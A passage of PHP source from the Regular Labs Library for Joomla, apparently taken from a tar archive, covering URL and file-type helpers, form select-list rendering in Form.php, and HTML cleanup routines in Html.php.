return ! (strpos(RegEx::replace('^.*?://', '', $url),
$hostname) === 0);
}
// some/url/to/a/file.ext
// > some/url/to/a
public static function getDirName($url)
{
$url = StringHelper::normalize($url);
return rtrim(dirname($url), '/');
}
// some/url/to/a/file.ext
// > file.ext
public static function getBaseName($url, $lowercase = false)
{
$url = StringHelper::normalize($url);
$basename = ltrim(basename($url), '/');
$parts = explode('?', $basename);
$basename = $parts[0];
if ($lowercase)
{
$basename = strtolower($basename);
}
return $basename;
}
// some/url/to/a/file.ext
// > file
public static function getFileName($url, $lowercase = false)
{
$url = StringHelper::normalize($url);
$info = pathinfo($url);
$filename = isset($info['filename']) ?
$info['filename'] : $url;
if ($lowercase)
{
$filename = strtolower($filename);
}
return $filename;
}
// some/url/to/a/file.ext
// > ext
public static function getExtension($url)
{
$info = pathinfo($url);
if ( ! isset($info['extension']))
{
return '';
}
$ext = explode('?', $info['extension']);
return strtolower($ext[0]);
}
public static function isImage($url)
{
return self::isMedia($url, self::getFileTypes('images'));
}
public static function isVideo($url)
{
return self::isMedia($url, self::getFileTypes('videos'));
}
public static function isExternalVideo($url)
{
return (strpos($url, 'youtu.be') !== false
|| strpos($url, 'youtube.com') !== false
|| strpos($url, 'vimeo.com') !== false
);
}
public static function isDocument($url)
{
return self::isMedia($url, self::getFileTypes('documents'));
}
public static function isMedia($url, $filetypes = [])
{
$filetype = self::getExtension($url);
if ( ! $filetype)
{
return false;
}
if ( ! is_array($filetypes))
{
$filetypes = [$filetypes];
}
if (count($filetypes) == 1 && strpos($filetypes[0],
',') !== false)
{
$filetypes = ArrayHelper::toArray($filetypes[0]);
}
$filetypes = ! empty($filetypes) ? $filetypes : self::getFileTypes();
return in_array($filetype, $filetypes);
}
public static function getFileTypes($type = 'images')
{
switch ($type)
{
case 'image':
case 'images':
return [
'bmp',
'flif',
'gif',
'jpe',
'jpeg',
'jpg',
'png',
'tiff',
'eps',
];
case 'audio':
return [
'aif',
'aiff',
'mp3',
'wav',
];
case 'video':
case 'videos':
return [
'3g2',
'3gp',
'avi',
'divx',
'f4v',
'flv',
'm4v',
'mov',
'mp4',
'mpe',
'mpeg',
'mpg',
'ogv',
'swf',
'webm',
'wmv',
];
case 'document':
case 'documents':
return [
'doc',
'docm',
'docx',
'dotm',
'dotx',
'odb',
'odc',
'odf',
'odg',
'odi',
'odm',
'odp',
'ods',
'odt',
'onepkg',
'onetmp',
'onetoc',
'onetoc2',
'otg',
'oth',
'otp',
'ots',
'ott',
'oxt',
'pdf',
'potm',
'potx',
'ppam',
'pps',
'ppsm',
'ppsx',
'ppt',
'pptm',
'pptx',
'rtf',
'sldm',
'sldx',
'thmx',
'xla',
'xlam',
'xlc',
'xld',
'xll',
'xlm',
'xls',
'xlsb',
'xlsm',
'xlsx',
'xlt',
'xltm',
'xltx',
'xlw',
];
case 'other':
case 'others':
return [
'css',
'csv',
'js',
'json',
'tar',
'txt',
'xml',
'zip',
];
default:
case 'all':
return array_merge(
self::getFileTypes('images'),
self::getFileTypes('audio'),
self::getFileTypes('videos'),
self::getFileTypes('documents'),
self::getFileTypes('other')
);
}
}
}
src/Form.php000064400000040175151167425550006771 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Plugin\PluginHelper as JPluginHelper;
class Form
{
/**
* Render a full select list
*
* @param array $options
* @param string $name
* @param string $value
* @param string $id
* @param int $size
* @param bool $multiple
* @param bool $simple
* @param bool $readonly
*
* @return string
*/
public static function selectList(&$options, $name, $value, $id, $size
= 0, $multiple = false, $simple = false, $readonly = false)
{
if (empty($options))
{
return '<fieldset class="radio">' .
JText::_('RL_NO_ITEMS_FOUND') . '</fieldset>';
}
if ( ! $multiple)
{
$simple = true;
}
$parameters = Parameters::getInstance();
$params = $parameters->getPluginParams('regularlabs');
if ( ! is_array($value))
{
$value = explode(',', $value);
}
if (count($value) === 1 && strpos($value[0], ',') !==
false)
{
$value = explode(',', $value[0]);
}
$count = 0;
if ($options != -1)
{
foreach ($options as $option)
{
$count++;
if (isset($option->links))
{
$count += count($option->links);
}
if ($count > $params->max_list_count)
{
break;
}
}
}
if ($options == -1 || $count > $params->max_list_count)
{
if (is_array($value))
{
$value = implode(',', $value);
}
if ( ! $value)
{
$input = '<textarea name="' . $name . '"
id="' . $id . '" cols="40"
rows="5">' . $value . '</textarea>';
}
else
{
$input = '<input type="text" name="' .
$name . '" id="' . $id . '"
value="' . $value . '" size="60">';
}
$plugin = JPluginHelper::getPlugin('system',
'regularlabs');
$url = ! empty($plugin->id)
?
'index.php?option=com_plugins&task=plugin.edit&extension_id='
. $plugin->id
:
'index.php?option=com_plugins&filter_folder=&filter_search=Regular%20Labs%20Library';
$label = JText::_('RL_ITEM_IDS');
$text = JText::_('RL_MAX_LIST_COUNT_INCREASE');
$tooltip = JText::_('RL_MAX_LIST_COUNT_INCREASE_DESC,' .
$params->max_list_count . ',RL_MAX_LIST_COUNT');
$link = '<a href="' . $url . '"
target="_blank" id="' . $id . '_msg"'
. ' class="hasPopover" title="' . $text .
'" data-content="' . htmlentities($tooltip) .
'">'
. '<span class="icon icon-cog"></span>'
. $text
. '</a>';
$script = 'jQuery("#' . $id .
'_msg").popover({"html": true,"trigger":
"hover focus","container": "body"})';
return '<fieldset class="radio">'
. '<label for="' . $id . '">' .
$label . ':</label>'
. $input
. '<br><small>' . $link .
'</small>'
. '</fieldset>'
. '<script>' . $script . '</script>';
}
if ($simple)
{
$first_level = isset($options[0]->level) ? $options[0]->level : 0;
foreach ($options as &$option)
{
if ( ! isset($option->level))
{
continue;
}
$repeat = ($option->level - $first_level > 0) ? $option->level
- $first_level : 0;
if ( ! $repeat)
{
continue;
}
//$option->text = str_repeat(' - ', $repeat) .
$option->text;
$option->text = '[[:padding-left: ' . (5 + ($repeat * 15))
. 'px;:]]' . $option->text;
}
}
if ( ! $multiple)
{
$attr = 'class="inputbox"';
if ($readonly)
{
$attr .= ' readonly="readonly"';
}
if (is_array(reset($options)) &&
isset(reset($options)['items']))
{
return JHtml::_(
'select.groupedlist', $options, $name,
[
'id' => $id,
'group.id' => 'id',
'list.attr' => $attr,
'list.select' => $value,
]
);
}
$html = JHtml::_('select.genericlist', $options, $name, $attr,
'value', 'text', $value, $id);
return self::handlePreparedStyles($html);
}
$size = (int) $size ?: 300;
if ($simple)
{
$attr = 'style="width: ' . $size . 'px"
multiple="multiple"';
if ($readonly)
{
$attr .= ' readonly="readonly"';
}
if (substr($name, -2) !== '[]')
{
$name .= '[]';
}
if (is_array(reset($options)) &&
isset(reset($options)['items']))
{
return JHtml::_(
'select.groupedlist', $options, $name,
[
'id' => $id,
'group.id' => 'id',
'list.attr' => trim($attr),
'list.select' => $value,
]
);
}
$html = JHtml::_('select.genericlist', $options, $name,
trim($attr), 'value', 'text', $value, $id);
return self::handlePreparedStyles($html);
}
Language::load('com_modules', JPATH_ADMINISTRATOR);
Document::script('regularlabs/multiselect.min.js');
Document::stylesheet('regularlabs/multiselect.min.css');
$count_total = self::getOptionsCount($options);
$count_selected = count($value);
$has_nested = $count_total > count($options);
$html = [];
$html[] = '<div class="well well-small rl_multiselect"
id="' . $id . '">';
$html[] = '<div class="form-inline
rl_multiselect-controls">';
$html[] = '<span class="small">' .
JText::_('JSELECT') . ':
<a class="rl_multiselect-checkall"
href="javascript:;">' . JText::_('JALL') .
'</a>
<span class="ghosted">[' . $count_total .
']</span>,
<a class="rl_multiselect-uncheckall"
href="javascript:;">' . JText::_('JNONE') .
'</a>,
<a class="rl_multiselect-toggleall"
href="javascript:;">' . JText::_('RL_TOGGLE') .
'</a>
</span>';
$html[] = '<span> | </span>';
if ($has_nested)
{
$html[] = '<span class="small">' .
JText::_('RL_EXPAND') . ':
<a class="rl_multiselect-expandall"
href="javascript:;">' . JText::_('JALL') .
'</a>,
<a class="rl_multiselect-collapseall"
href="javascript:;">' . JText::_('JNONE') .
'</a>
</span>';
$html[] = '<span> | </span>';
}
$html[] = '<span class="small">' .
JText::_('JSHOW') . ':
<a class="rl_multiselect-showall"
href="javascript:;">' . JText::_('JALL') .
'</a>
<span class="ghosted">[' . $count_total .
']</span>,
<a class="rl_multiselect-showselected"
href="javascript:;">' . JText::_('RL_SELECTED')
. '</a>
<span class="ghosted">[<span
class="rl_multiselect-count-selected">' . $count_selected
. '</span>]</span>
</span>';
$html[] = '<span class="rl_multiselect-maxmin">
<span> | </span>
<span class="small">
<a class="rl_multiselect-maximize"
href="javascript:;">' . JText::_('RL_MAXIMIZE')
. '</a>
<a class="rl_multiselect-minimize"
style="display:none;" href="javascript:;">' .
JText::_('RL_MINIMIZE') . '</a>
</span>
</span>';
$html[] = '<input type="text"
name="rl_multiselect-filter" class="rl_multiselect-filter
input-medium search-query pull-right" size="16"
autocomplete="off" placeholder="' .
JText::_('JSEARCH_FILTER') . '"
aria-invalid="false" tabindex="-1">';
$html[] = '</div>';
$html[] = '<hr class="hr-condensed">';
$o = [];
foreach ($options as $option)
{
$option->level = isset($option->level) ? $option->level : 0;
$o[] = $option;
if (isset($option->links))
{
foreach ($option->links as $link)
{
$link->level = $option->level + (isset($link->level) ?
$link->level : 1);
$o[] = $link;
}
}
}
$html[] = '<ul class="rl_multiselect-ul"
style="max-height:300px;min-width:' . $size .
'px;overflow-x: hidden;">';
$prevlevel = 0;
foreach ($o as $i => $option)
{
if ($prevlevel < $option->level)
{
// correct wrong level indentations
$option->level = $prevlevel + 1;
$html[] = '<ul class="rl_multiselect-sub">';
}
else if ($prevlevel > $option->level)
{
$html[] = str_repeat('</li></ul>', $prevlevel -
$option->level);
}
else if ($i)
{
$html[] = '</li>';
}
$labelclass = trim('pull-left ' .
(isset($option->labelclass) ? $option->labelclass : ''));
$html[] = '<li>';
$item = '<div class="' .
trim('rl_multiselect-item pull-left ' . (isset($option->class)
? $option->class : '')) . '">';
if (isset($option->title))
{
$labelclass .= ' nav-header';
}
if (isset($option->title) && ( ! isset($option->value) ||
! $option->value))
{
$item .= '<label class="' . $labelclass .
'">' . $option->title . '</label>';
}
else
{
$selected = in_array($option->value, $value) ? '
checked="checked"' : '';
$disabled = (isset($option->disable) && $option->disable)
? ' disabled="disabled"' : '';
if (empty($option->hide_select))
{
$item .= '<input type="checkbox"
class="pull-left" name="' . $name . '"
id="' . $id . $option->value . '" value="'
. $option->value . '"' . $selected . $disabled .
'>';
}
$item .= '<label for="' . $id . $option->value .
'" class="' . $labelclass . '">' .
$option->text . '</label>';
}
$item .= '</div>';
$html[] = $item;
if ( ! isset($o[$i + 1]) && $option->level > 0)
{
$html[] = str_repeat('</li></ul>', (int)
$option->level);
}
$prevlevel = $option->level;
}
$html[] = '</ul>';
$html[] = '
<div style="display:none;"
class="rl_multiselect-menu-block">
<div class="pull-left nav-hover rl_multiselect-menu">
<div class="btn-group">
<a href="#" data-toggle="dropdown"
class="dropdown-toggle btn btn-micro">
<span class="caret"></span>
</a>
<ul class="dropdown-menu">
<li class="nav-header">' .
JText::_('COM_MODULES_SUBITEMS') . '</li>
<li class="divider"></li>
<li class=""><a class="checkall"
href="javascript:;"><span
class="icon-checkbox"></span> ' .
JText::_('JSELECT') . '</a>
</li>
<li><a class="uncheckall"
href="javascript:;"><span
class="icon-checkbox-unchecked"></span> ' .
JText::_('COM_MODULES_DESELECT') . '</a>
</li>
<div class="rl_multiselect-menu-expand">
<li class="divider"></li>
<li><a class="expandall"
href="javascript:;"><span
class="icon-plus"></span> ' .
JText::_('RL_EXPAND') . '</a></li>
<li><a class="collapseall"
href="javascript:;"><span
class="icon-minus"></span> ' .
JText::_('RL_COLLAPSE') . '</a></li>
</div>
</ul>
</div>
</div>
</div>';
$html[] = '</div>';
$html = implode('', $html);
return self::handlePreparedStyles($html);
}
public static function getOptionsCount($options)
{
$count = 0;
foreach ($options as $option)
{
$count++;
if ( ! empty($option->links))
{
$count += self::getOptionsCount($option->links);
}
}
return $count;
}
/**
* Render a simple select list
*
* @param array $options
* @param $string $name
* @param string $value
* @param string $id
* @param int $size
* @param bool $multiple
* @param bool $readonly
*
* @return string
*/
public static function selectListSimple(&$options, $name, $value, $id,
$size = 0, $multiple = false, $readonly = false)
{
return self::selectlist($options, $name, $value, $id, $size, $multiple,
true, $readonly);
}
/**
* Render a select list loaded via Ajax
*
* @param string $field
* @param string $name
* @param string $value
* @param string $id
* @param array $attributes
* @param bool $simple
*
* @return string
*/
public static function selectListAjax($field, $name, $value, $id,
$attributes = [], $simple = false)
{
JHtml::_('jquery.framework');
$script = self::getAddToLoadAjaxListScript($field, $name, $value, $id,
$attributes, $simple);
if (is_array($value))
{
$value = implode(',', $value);
}
Document::script('regularlabs/script.min.js');
Document::stylesheet('regularlabs/style.min.css');
$input = '<textarea name="' . $name . '"
id="' . $id . '" cols="40"
rows="5">' . $value . '</textarea>'
. '<div id="' . $id . '_spinner"
class="rl_spinner"></div>';
return $input . $script;
}
public static function getAddToLoadAjaxListScript($field, $name, $value,
$id, $attributes = [], $simple = false)
{
$attributes['field'] = $field;
$attributes['name'] = $name;
$attributes['value'] = $value;
$attributes['id'] = $id;
$url =
'index.php?option=com_ajax&plugin=regularlabs&format=raw'
. '&' .
Uri::createCompressedAttributes(json_encode($attributes));
$remove_spinner = "$('#" . $id .
"_spinner').remove();";
$replace_field = "$('#" . $id .
"').replaceWith(data);";
$init_chosen = 'document.getElementById("' . $id .
'") && document.getElementById("' . $id .
'").nodeName == "SELECT" && $("#' .
$id . '").chosen();';
$success = $replace_field;
if ($simple)
{
$success .= $init_chosen;
}
else
{
Document::script('regularlabs/multiselect.min.js');
Document::stylesheet('regularlabs/multiselect.min.css');
$success .= "if(data.indexOf('rl_multiselect') >
-1)\{RegularLabsMultiSelect.init($('#" . $id . "'));\}
else { " . $init_chosen . "}";
}
// $success .= "console.log('#" . $id .
"');";
// $success .= "console.log(data);";
$error = $remove_spinner;
$success = "if(data)\{" . $success . "\}" .
$remove_spinner;
$script = "jQuery(document).ready(function() {"
. "RegularLabsScripts.addToLoadAjaxList("
. "'" . addslashes($url) . "',"
. "'" . addslashes($success) . "',"
. "'" . addslashes($error) . "'"
. ")"
. "});";
return '<script>' . $script .
'</script>';
}
/**
* Render a simple select list loaded via Ajax
*
* @param string $field
* @param string $name
* @param string $value
* @param string $id
* @param array $attributes
*
* @return string
*/
public static function selectListSimpleAjax($field, $name, $value, $id,
$attributes = [])
{
return self::selectListAjax($field, $name, $value, $id, $attributes,
true);
}
/**
* Prepare the string for a select form field item
*
* @param string $string
* @param int $published
* @param string $type
* @param int $remove_first
*
* @return string
*/
public static function prepareSelectItem($string, $published = 1, $type =
'', $remove_first = 0)
{
if (empty($string))
{
return '';
}
$string = str_replace([' ', ' '],
' ', $string);
$string = RegEx::replace('- ', ' ', $string);
for ($i = 0; $remove_first > $i; $i++)
{
$string = RegEx::replace('^ ', '', $string,
'');
}
if (RegEx::match('^( *)(.*)$', $string, $match, ''))
{
list($string, $pre, $name) = $match;
$pre = str_replace(' ', ' · ', $pre);
$pre = RegEx::replace('(( · )*) · ', '\1 » ',
$pre);
$pre = str_replace(' ', ' ', $pre);
$string = $pre . $name;
}
switch (true)
{
case ($type == 'separator'):
$string =
'[[:font-weight:normal;font-style:italic;color:grey;:]]' .
$string;
break;
case ($published == -2):
$string = '[[:font-style:italic;color:grey;:]]' . $string .
' [' . JText::_('JTRASHED') . ']';
break;
case ($published == 0):
$string = '[[:font-style:italic;color:grey;:]]' . $string .
' [' . JText::_('JUNPUBLISHED') . ']';
break;
case ($published == 2):
$string = '[[:font-style:italic;:]]' . $string . '
[' . JText::_('JARCHIVED') . ']';
break;
}
return $string;
}
/**
* Replace style placeholders with actual style attributes
*
* @param string $string
*
* @return string
*/
private static function handlePreparedStyles($string)
{
// No placeholders found
if (strpos($string, '[[:') === false)
{
return $string;
}
// Doing following replacement in 3 steps to prevent the Regular
Expressions engine from exploding
// Replace style tags right after the html tags
$string = RegEx::replace(
';?:\]\]\s*\[\[:',
';',
$string
);
$string = RegEx::replace(
'>\s*\[\[\:(.*?)\:\]\]',
' style="\1">',
$string
);
// No more placeholders found
if (strpos($string, '[[:') === false)
{
return $string;
}
// Replace style tags prepended with a minus and any amount of
whitespace: '- '
$string = RegEx::replace(
'>((?:-\s*)+)\[\[\:(.*?)\:\]\]',
' style="\2">\1',
$string
);
// No more placeholders found
if (strpos($string, '[[:') === false)
{
return $string;
}
// Replace style tags prepended with whitespace, a minus and any amount
of whitespace: ' - '
$string = RegEx::replace(
'>((?:\s+-\s*)+)\[\[\:(.*?)\:\]\]',
' style="\2">\1',
$string
);
return $string;
}
}
src/Html.php000064400000050112151167425550006762 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use DOMDocument;
/**
* Class Html
* @package RegularLabs\Library
*/
class Html
{
/**
* Convert content saved in a WYSIWYG editor to plain text (like removing
html tags)
*
* @param $string
*
* @return string
*/
public static function convertWysiwygToPlainText($string)
{
// replace chr style enters with normal enters
$string = str_replace([chr(194) . chr(160), ' ',
' '], ' ', $string);
// replace linebreak tags with normal linebreaks (paragraphs, enters,
etc).
$enter_tags = ['p', 'br'];
$regex = '</?((' . implode(')|(',
$enter_tags) . '))+[^>]*?>\n?';
$string = RegEx::replace($regex, " \n", $string);
// replace indent characters with spaces
$string = RegEx::replace('<img
[^>]*/sourcerer/images/tab\.png[^>]*>', ' ',
$string);
// strip all other tags
$regex =
'<(/?\w+((\s+\w+(\s*=\s*(?:".*?"|\'.*?\'|[^\'">\s]+))?)+\s*|\s*)/?)>';
$string = RegEx::replace($regex, '', $string);
// reset htmlentities
$string = StringHelper::html_entity_decoder($string);
// convert protected html entities &_...; -> &...;
$string = RegEx::replace('&_([a-z0-9\#]+?);',
'&\1;', $string);
return $string;
}
/**
* Extract the <body>...</body> part from an entire html
output string
*
* @param string $html
*
* @return array
*/
public static function getBody($html, $include_body_tag = true)
{
if (strpos($html, '<body') === false || strpos($html,
'</body>') === false)
{
return ['', $html, ''];
}
// Force string to UTF-8
$html = StringHelper::convertToUtf8($html);
$split = explode('<body', $html, 2);
$pre = $split[0];
$split = explode('>', $split[1], 2);
$body_start = '<body' . $split[0] . '>';
$body_end = '</body>';
$split = explode('</body>', $split[1]);
$post = array_pop($split);
$body = implode('</body>', $split);
if ( ! $include_body_tag)
{
return [
$pre . $body_start,
$body,
$body_end . $post,
];
}
return [
$pre,
$body_start . $body . $body_end,
$post,
];
}
/**
* Search the string for the start and end searches and split the string
in a pre, body and post part
* This is used to be able to do replacements on the body part, which will
be lighter than doing it on the entire string
*
* @param string $string
* @param array $start_searches
* @param array $end_searches
* @param int $start_offset
* @param null $end_offset
*
* @return array
*/
public static function getContentContainingSearches($string,
$start_searches = [], $end_searches = [], $start_offset = 1000, $end_offset
= null)
{
// String is too short to split and search through
if (strlen($string) < 2000)
{
return ['', $string, ''];
}
$end_offset = is_null($end_offset) ? $start_offset : $end_offset;
$found = false;
$start_split = strlen($string);
foreach ($start_searches as $search)
{
$pos = strpos($string, $search);
if ($pos === false)
{
continue;
}
$start_split = min($start_split, $pos);
$found = true;
}
// No searches are found
if ( ! $found)
{
return [$string, '', ''];
}
// String is too short to split
if (strlen($string) < ($start_offset + $end_offset + 1000))
{
return ['', $string, ''];
}
$start_split = max($start_split - $start_offset, 0);
$pre = substr($string, 0, $start_split);
$string = substr($string, $start_split);
self::fixBrokenTagsByPreString($pre, $string);
if (empty($end_searches))
{
$end_searches = $start_searches;
}
$end_split = 0;
$found = false;
foreach ($end_searches as $search)
{
$pos = strrpos($string, $search);
if ($pos === false)
{
continue;
}
$end_split = max($end_split, $pos + strlen($search));
$found = true;
}
// No end split is found, so don't split remainder
if ( ! $found)
{
return [$pre, $string, ''];
}
$end_split = min($end_split + $end_offset, strlen($string));
$post = substr($string, $end_split);
$string = substr($string, 0, $end_split);
self::fixBrokenTagsByPostString($post, $string);
return [$pre, $string, $post];
}
/**
* Check if string contains block elements
*
* @param string $string
*
* @return string
*/
public static function containsBlockElements($string)
{
return RegEx::match('</?(' . implode('|',
self::getBlockElements()) . ')(?: [^>]*)?>', $string);
}
/**
* Fix broken/invalid html syntax in a string
*
* @param string $string
*
* @return string
*/
public static function fix($string)
{
if ( ! self::containsBlockElements($string))
{
return $string;
}
// Convert utf8 characters to html entities
if (function_exists('mb_convert_encoding'))
{
$string = mb_convert_encoding($string, 'html-entities',
'utf-8');
}
$string = self::protectSpecialCode($string);
$string = self::convertDivsInsideInlineElementsToSpans($string);
$string = self::removeParagraphsAroundBlockElements($string);
$string = self::removeInlineElementsAroundBlockElements($string);
$string = self::fixParagraphsAroundParagraphElements($string);
$string = class_exists('DOMDocument')
? self::fixUsingDOMDocument($string)
: self::fixUsingCustomFixer($string);
$string = self::unprotectSpecialCode($string);
// Convert html entities back to utf8 characters
if (function_exists('mb_convert_encoding'))
{
// Make sure < and > don't get converted
$string = str_replace(['<', '>'],
['&lt;', '&gt;'], $string);
$string = mb_convert_encoding($string, 'utf-8',
'html-entities');
}
$string = self::removeParagraphsAroundComments($string);
return $string;
}
/**
* Fix broken/invalid html syntax in an array of strings
*
* @param array $array
*
* @return array
*/
public static function fixArray($array)
{
$splitter = ':|:';
$string = self::fix(implode($splitter, $array));
$parts = self::removeEmptyTags(explode($splitter, $string));
// use original keys but new values
return array_combine(array_keys($array), $parts);
}
/**
* Removes empty tags which span concatenating parts in the array
*
* @param array $array
*
* @return array
*/
public static function removeEmptyTags($array)
{
$splitter = ':|:';
$comments = '(?:\s*<\!--[^>]*-->\s*)*';
$string = implode($splitter, $array);
Protect::protectHtmlCommentTags($string);
$string = RegEx::replace(
'<([a-z][a-z0-9]*)(?: [^>]*)?>\s*(' . $comments .
RegEx::quote($splitter) . $comments . ')\s*</\1>',
'\2',
$string
);
Protect::unprotect($string);
return explode($splitter, $string);
}
/**
* Fix broken/invalid html syntax in a string using php DOMDocument
functionality
*
* @param string $string
*
* @return mixed
*/
private static function fixUsingDOMDocument($string)
{
$doc = new DOMDocument;
$doc->substituteEntities = false;
list($pre, $body, $post) = Html::getBody($string, false);
// Add temporary document structures
$body = '<html><body><div>' . $body .
'</div></body></html>';
@$doc->loadHTML($body);
$body = $doc->saveHTML();
if (strpos($doc->documentElement->textContent, 'Ã') !==
false)
{
// Need to do this utf8 workaround to deal with special characters
// DOMDocument doesn't seem to deal with them very well
// See:
https://stackoverflow.com/questions/8218230/php-domdocument-loadhtml-not-encoding-utf-8-correctly/47396055#47396055
$body = utf8_decode($doc->saveHTML($doc->documentElement));
}
// Remove temporary document structures and surrounding div
$body =
RegEx::replace('^.*?<html>.*?(?:<head>(.*)</head>.*?)?<body>\s*<div>(.*)</div>\s*</body>.*?$',
'\1\2', $body);
// Remove leading/trailing empty paragraph
$body =
RegEx::replace('(^\s*<div>\s*</div>|<div>\s*</div>\s*$)',
'', $body);
// Remove leading/trailing empty paragraph
$body =
RegEx::replace('(^\s*<div>\s*</div>|<div>\s*</div>\s*$)',
'', $body);
// Remove leading/trailing empty paragraph
$body = RegEx::replace('(^\s*<p(?:
[^>]*)?>\s*</p>|<p(?:
[^>]*)?>\s*</p>\s*$)', '', $body);
return $pre . $body . $post;
}
/**
* Fix broken/invalid html syntax in a string using custom code as an
alternative to php DOMDocument functionality
*
* @param string $string
*
* @return string
*/
private static function fixUsingCustomFixer($string)
{
$block_regex = '<(' . implode('|',
self::getBlockElementsNoDiv()) . ')[\s>]';
$string = RegEx::replace('(' . $block_regex . ')',
'[:SPLIT-BLOCK:]\1', $string);
$parts = explode('[:SPLIT-BLOCK:]', $string);
foreach ($parts as $i => &$part)
{
if ( ! RegEx::match('^' . $block_regex, $part, $type))
{
continue;
}
$type = strtolower($type[1]);
// remove endings of other block elements
$part = RegEx::replace('</(?:' . implode('|',
self::getBlockElementsNoDiv($type)) . ')>', '',
$part);
if (strpos($part, '</' . $type . '>') !==
false)
{
continue;
}
// Add ending tag once
$part = RegEx::replaceOnce('(\s*)$', '</' . $type
. '>\1', $part);
// Remove empty block tags
$part = RegEx::replace('^<' . $type . '(?:
[^>]*)?>\s*</' . $type . '>', '',
$part);
}
return implode('', $parts);
}
/**
* Removes complete html tag pairs from the concatenated parts
*
* @param array $parts
* @param array $elements
*
* @return array
*/
public static function cleanSurroundingTags($parts, $elements =
['p', 'span'])
{
$breaks = '(?:(?:<br
?/?>|<\!--[^>]*-->|:\|:)\s*)*';
$keys = array_keys($parts);
$string = implode(':|:', $parts);
Protect::protectHtmlCommentTags($string);
// Remove empty tags
$regex = '<(' . implode('|', $elements) .
')(?: [^>]*)?>\s*(' . $breaks .
')<\/\1>\s*';
while (RegEx::match($regex, $string, $match))
{
$string = str_replace($match[0], $match[2], $string);
}
// Remove paragraphs around block elements
$block_elements = [
'p', 'div',
'table', 'tr', 'td', 'thead',
'tfoot',
'h[1-6]',
];
$block_elements = '(' . implode('|', $block_elements)
. ')';
$regex = '(<p(?: [^>]*)?>)(\s*' . $breaks .
')(<' . $block_elements . '(?: [^>]*)?>)';
while (RegEx::match($regex, $string, $match))
{
if ($match[4] == 'p')
{
$match[3] = $match[1] . $match[3];
self::combinePTags($match[3]);
}
$string = str_replace($match[0], $match[2] . $match[3], $string);
}
$regex = '(</' . $block_elements . '>\s*' .
$breaks . ')</p>';
while (RegEx::match($regex, $string, $match))
{
$string = str_replace($match[0], $match[1], $string);
}
Protect::unprotect($string);
$parts = explode(':|:', $string);
$new_tags = [];
foreach ($parts as $key => $val)
{
$key = isset($keys[$key]) ? $keys[$key] : $key;
$new_tags[$key] = $val;
}
return $new_tags;
}
/**
* Remove <p> tags around block elements
*
* @param string $string
*
* @return mixed
*/
private static function removeParagraphsAroundBlockElements($string)
{
if (strpos($string, '</p>') == false)
{
return $string;
}
Protect::protectHtmlCommentTags($string);
$string = RegEx::replace(
'<p(?: [^>]*)?>\s*'
. '((?:<\!--[^>]*-->\s*)*</?(?:' .
implode('|', self::getBlockElements()) . ')' .
'(?: [^>]*)?>)',
'\1',
$string
);
$string = RegEx::replace(
'(</?(?:' . implode('|',
self::getBlockElements()) . ')' . '(?:
[^>]*)?>(?:\s*<\!--[^>]*-->)*)'
. '(?:\s*</p>)',
'\1',
$string
);
Protect::unprotect($string);
return $string;
}
/**
* Remove <p> tags around comments
*
* @param string $string
*
* @return mixed
*/
private static function removeParagraphsAroundComments($string)
{
if (strpos($string, '</p>') == false)
{
return $string;
}
Protect::protectHtmlCommentTags($string);
$string = RegEx::replace(
'(?:<p(?: [^>]*)?>\s*)'
. '(<\!--[^>]*-->)'
. '(?:\s*</p>)',
'\1',
$string
);
Protect::unprotect($string);
return $string;
}
/**
* Fix <p> tags around other <p> elements
*
* @param string $string
*
* @return mixed
*/
private static function fixParagraphsAroundParagraphElements($string)
{
if (strpos($string, '</p>') == false)
{
return $string;
}
$parts = explode('</p>', $string);
$ending = '</p>' . array_pop($parts);
foreach ($parts as &$part)
{
if (strpos($part, '<p>') === false &&
strpos($part, '<p ') === false)
{
$part = '<p>' . $part;
continue;
}
$part = RegEx::replace(
'(<p(?: [^>]*)?>.*?)(<p(?: [^>]*)?>)',
'\1</p>\2',
$part
);
}
return implode('</p>', $parts) . $ending;
}
/*
* Remove empty tags
*
* @param string $string
* @param array $elements
*
* @return mixed
*/
public static function removeEmptyTagPairs($string, $elements =
['p', 'span'])
{
$breaks = '(?:(?:<br ?/?>|<\!--[^>]*-->)\s*)*';
$regex = '<(' . implode('|', $elements) .
')(?: [^>]*)?>\s*(' . $breaks .
')<\/\1>\s*';
Protect::protectHtmlCommentTags($string);
while (RegEx::match($regex, $string, $match))
{
$string = str_replace($match[0], $match[2], $string);
}
Protect::unprotect($string);
return $string;
}
/**
* Convert <div> tags inside inline elements to <span> tags
*
* @param string $string
*
* @return mixed
*/
private static function convertDivsInsideInlineElementsToSpans($string)
{
if (strpos($string, '</div>') == false)
{
return $string;
}
// Ignore block elements inside anchors
$regex = '<(' . implode('|',
self::getInlineElementsNoAnchor()) . ')(?:
[^>]*)?>.*?</\1>';
RegEx::matchAll($regex, $string, $matches, '',
PREG_PATTERN_ORDER);
if (empty($matches))
{
return $string;
}
$matches = array_unique($matches[0]);
$searches = [];
$replacements = [];
foreach ($matches as $match)
{
if (strpos($match, '</div>') === false)
{
continue;
}
$searches[] = $match;
$replacements[] = str_replace(
['<div>', '<div ',
'</div>'],
['<span>', '<span ',
'</span>'],
$match
);
}
if (empty($searches))
{
return $string;
}
return str_replace($searches, $replacements, $string);
}
/**
* Combine duplicate <p> tags
* input: <p class="aaa" a="1"><!-- ...
--><p class="bbb" b="2">
* output: <p class="aaa bbb" a="1"
b="2"><!-- ... -->
*
* @param $string
*/
public static function combinePTags(&$string)
{
if (empty($string))
{
return;
}
$p_start_tag = '<p(?: [^>]*)?>';
$optional_tags =
'\s*(?:<\!--[^>]*-->| |&\#160;)*\s*';
Protect::protectHtmlCommentTags($string);
RegEx::matchAll('(' . $p_start_tag . ')(' .
$optional_tags . ')(' . $p_start_tag . ')', $string,
$tags);
if (empty($tags))
{
Protect::unprotect($string);
return;
}
foreach ($tags as $tag)
{
$string = str_replace($tag[0], $tag[2] . HtmlTag::combine($tag[1],
